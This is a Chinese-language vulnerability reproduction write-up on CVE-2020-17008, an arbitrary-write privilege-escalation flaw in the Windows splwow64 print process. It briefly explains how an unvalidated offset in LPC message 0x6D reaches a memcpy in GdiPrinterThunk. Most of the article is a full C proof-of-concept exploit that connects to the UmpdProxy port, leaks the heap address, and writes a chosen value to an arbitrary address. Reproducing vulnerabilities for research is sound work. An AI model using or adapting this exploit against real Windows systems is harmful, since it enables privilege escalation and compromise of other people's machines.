SPLWOW64許可權提升漏洞(CVE-2020-17008)復現

安徽鋒刃科技發表於2020-12-27

漏洞描述

Splwow64過於信任LPC傳遞的資料,並且在訊息0x6D中使用了請求發起者的偏移量且沒有進行有效的驗證,Splwow64將LPC訊息傳遞給GdiPrinterThunk。導致執行可控制的memcpy函式任意地址寫。

漏洞原理

觸發任意地址寫入的呼叫棧

 

通過 “\\RPC Control\\UmpdProxy_%x_%x_%x_%x “, 會話ID, 令牌認證ID 低位,令牌認證ID 高位,0x200 構造出通訊LPC名稱並進行連結。

通過傳送6A訊息開啟該印表機

 

由於任意地址寫是在當前堆基地址之上,我們輸入的是偏移。

所以接著傳送帶有漏洞的6D訊息在當前堆資料內洩露出當前堆基地址,隨後通過減去基地址,從而獲得任意地址寫入。

含有漏洞的訊息6D的資料結構:

隨後這個訊息通過LPC傳入SPLWOW64.exe,將輸入輸出緩衝區傳入了龐大的API——GdiPrinterThunk,GdiPrinterThunk中存在一個memcpy,引數來自於輸入輸出緩衝區。

 

漏洞復現

 

POC

標註: 官方POC在GetPortName中使用RtlInitUnicodeString來初始化UNICODE_STRING 時出現了一個問題:使用區域性變數dst來對外部傳入的PUNICODE_STRING 賦值,這可能導致函式退出時棧被釋放後被其他函式修改,從而導致使用該變數的函式呼叫失敗。[ RtlInitUnicodeString 函式原型見頁面底部 ]

 

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef struct _PORT_VIEW
{
    UINT64 Length;
    HANDLE SectionHandle;
    UINT64 SectionOffset;
    UINT64 ViewSize;
    UCHAR* ViewBase;
    UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
    USHORT DataSize;
    USHORT MessageSize;
    USHORT MessageType;
    USHORT VirtualRangesOffset;
    CLIENT_ID ClientId;
    UINT64 MessageId;
    UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;

typedef struct _PORT_MESSAGE {
    PORT_MESSAGE_HEADER MessageHeader;
    UINT64 MsgSendLen;
    UINT64 PtrMsgSend;
    UINT64 MsgReplyLen;
    UINT64 PtrMsgReply;
    UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(
    _In_ HANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _Out_ PHANDLE TokenHandle
    );

NTSTATUS(NTAPI* ZwQueryInformationToken)(
    _In_ HANDLE TokenHandle,
    _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
    _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
    _In_ ULONG TokenInformationLength,
    _Out_ PULONG ReturnLength
    );

NTSTATUS(NTAPI* NtCreateSection)(
    PHANDLE            SectionHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PLARGE_INTEGER     MaximumSize,
    ULONG              SectionPageProtection,
    ULONG              AllocationAttributes,
    HANDLE             FileHandle
    );

NTSTATUS(NTAPI* ZwSecureConnectPort)(
    _Out_ PHANDLE PortHandle,
    _In_ PUNICODE_STRING PortName,
    _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
    _Inout_opt_ PPORT_VIEW ClientView,
    _In_opt_ PSID Sid,
    _Inout_opt_ PVOID ServerView,
    _Out_opt_ PULONG MaxMessageLength,
    _Inout_opt_ PVOID ConnectionInformation,
    _Inout_opt_ PULONG ConnectionInformationLength
    );

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
    IN HANDLE PortHandle,
    IN PPORT_MESSAGE LpcRequest,
    OUT PPORT_MESSAGE LpcReply
    );


void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);

int Init()
{
    HMODULE ntdll = GetModuleHandleA("ntdll");

    printf("ntdll = 0x%p\n", (void*)ntdll);

    NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
    if (NtOpenProcessToken == NULL)
    {
        printf("Failed to get NtOpenProcessToken\n");
        return 0;
    }

    ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
    if (ZwQueryInformationToken == NULL)
    {
        printf("Failed to get ZwQueryInformationToken\n");
        return 0;
    }

    NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
    if (NtCreateSection == NULL)
    {
        printf("Failed to get NtCreateSection\n");
        return 0;
    }

    ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
    if (ZwSecureConnectPort == NULL)
    {
        printf("Failed to get ZwSecureConnectPort\n");
        return 0;
    }

    NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
    if (NtRequestWaitReplyPort == NULL)
    {
        printf("Failed to get NtRequestWaitReplyPort\n");
        return 0;
    }

    return 1;
}

WCHAR dst[256];
int GetPortName(PUNICODE_STRING DestinationString)
{
    void* tokenHandle;
    DWORD sessionId;
    ULONG length;

    TOKEN_STATISTICS tokenInformation;

    memset(&tokenInformation, 0, sizeof(tokenInformation));
    ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

    memset(dst, 0, sizeof(dst));

    if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
        || ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length))
    {
        return 0;
    }
    wsprintfW(
        dst,
        L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
        sessionId,
        tokenInformation.AuthenticationId.LowPart,
        tokenInformation.AuthenticationId.HighPart,
        0x2000);
    printf("name: %ls\n", dst);
    RtlInitUnicodeString(DestinationString, dst);

    return 1;
}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
    HANDLE sectionHandle = 0;
    HANDLE portHandle = 0;
    union _LARGE_INTEGER maximumSize;
    maximumSize.QuadPart = 0x20000;

    if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
        printf("failed on NtCreateSection\n");
        return 0;
    }
    if (sectionHandle)
    {
        ClientView.SectionHandle = sectionHandle;
        ClientView.Length = 0x30;
        ClientView.ViewSize = 0x9000;
        int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
        if (retval) {
            printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
            return 0;
        }
    }

    return portHandle;
}

PVOID Prepare0x6AMessage()
{
    const wchar_t* printerName = L"Microsoft XPS Document Writer";
    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140;
    printf("PtrMsgReply: 0x%I64x\n", LpcRequest.PtrMsgReply);
    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

    *(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter)
    *((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name 
    *((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter
    *((UINT64*)ClientView.ViewBase + 0x8) = 0x00;
    *((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle

    memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C);
    printf("ClientView: 0x%I64x/0x%p, 0x%p: %S\n", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100));
    *((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141;
    return ClientView.ViewBase;
}

PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress)
{

    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memset(ClientView.ViewBase, 0, 0x300);

    *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
    *((UINT64*)ClientView.ViewBase + 3) = cookie;
    *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
    *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
    //0x40
    *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET-  pvIn
    *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
    //0x200
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
    //0x100
    *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here 
    //0x110
    *((UINT64*)ClientView.ViewBase + 0x22) = 0;
    //0x150
    *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
    //0x250
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    *((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242;
    *((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04;
    *((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04;
    *((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    return ClientView.ViewBase;
}

HANDLE g_portHandle;

int main()
{
    printf("Start\n");
    Init();                 //初始化所用的庫函式
    printf("Init done\n");

    CHAR Path[0x100];


    GetCurrentDirectoryA(sizeof(Path), Path);
    printf("%s\n", Path);
    PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
    printf("%s\n", Path);

    if (!(PathFileExistsA(Path)))
    {
        printf("CreateDC.exe 不存在\n");
        return 0;
    }
    WinExec(Path, 0);       //拉起 splwow64.exe

    CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

    printf("現在你可以使用偵錯程式掛接splwow64.exe. 輸入[回車]繼續:");
    fflush(stdout);
    getchar();

    printf("獲得埠名稱\n");

    UNICODE_STRING portName;
    if (!GetPortName(&portName))
    {
        printf("獲得埠名稱失敗\n");
        return 0;
    }

    printf("建立埠. \n");

    g_portHandle = CreatePortSharedBuffer(&portName);
    if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
    {
        printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%p\n", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
        return 0;
    }

    printf("填充 0x6A 訊息 - OpenPrinter\n");

    Prepare0x6AMessage();

    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("寫入 0x6A 訊息失敗\n");
        exit(1);
    }

    printf("寫入 0x6A 訊息成功!\n");

    UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28);
    printf("Cookie: 0x%llx\n", cookie);

    printf("填充 0x6D 訊息 (獲得堆地址) - DocumentEvent\n");
    Prepare0x6DMessage_GetPoolAddr(cookie, 0);

    /*第一次觸發memcpy洩漏堆地址以獲取偏移量*/
    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("寫入 0x6D 訊息失敗\n");
        exit(1);
    }

    UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
    printf("輸出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
    
    printf("填充 0x6D 訊息 (獲得堆地址) - DocumentEvent\n");
    Prepare0x6DMessage_GetPoolAddr(cookie, 0);

    /*第一次觸發memcpy洩漏堆地址以獲取偏移量*/
    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("寫入 0x6D 訊息失敗\n");
        exit(1);
    }

    heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
    printf("輸出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);

    printf("填充 0x6D 訊息(寫入資料0x55aa55aa55aa55aa 至 0x55555555地址) - DocumentEvent\n");

    WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress);
    printf("完成\n");

    return 0;
}

void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress)
{
    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memset(ClientView.ViewBase, 0, 0x300);

    *(UINT64*)ClientView.ViewBase = 0x6D00000000; //訊息型別(Document Event)
    *((UINT64*)ClientView.ViewBase + 3) = cookie;
    *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 第二個引數:FindPrinterHandle
    *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
    //0x40
    *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET-  pvIn
    *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
    //0x200
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
    //0x100
    *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here 
    //0x110
    *((UINT64*)ClientView.ViewBase + 0x22) = 0;
    //0x150
    *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
    //0x250
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    *((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲寫入的資料
    *((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目標記憶體地址
    *((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04;
    *((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;

    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("寫入0x6D 訊息失敗\n");
    }
}

 

RtlInitUnicodeString函式原型:

相關文章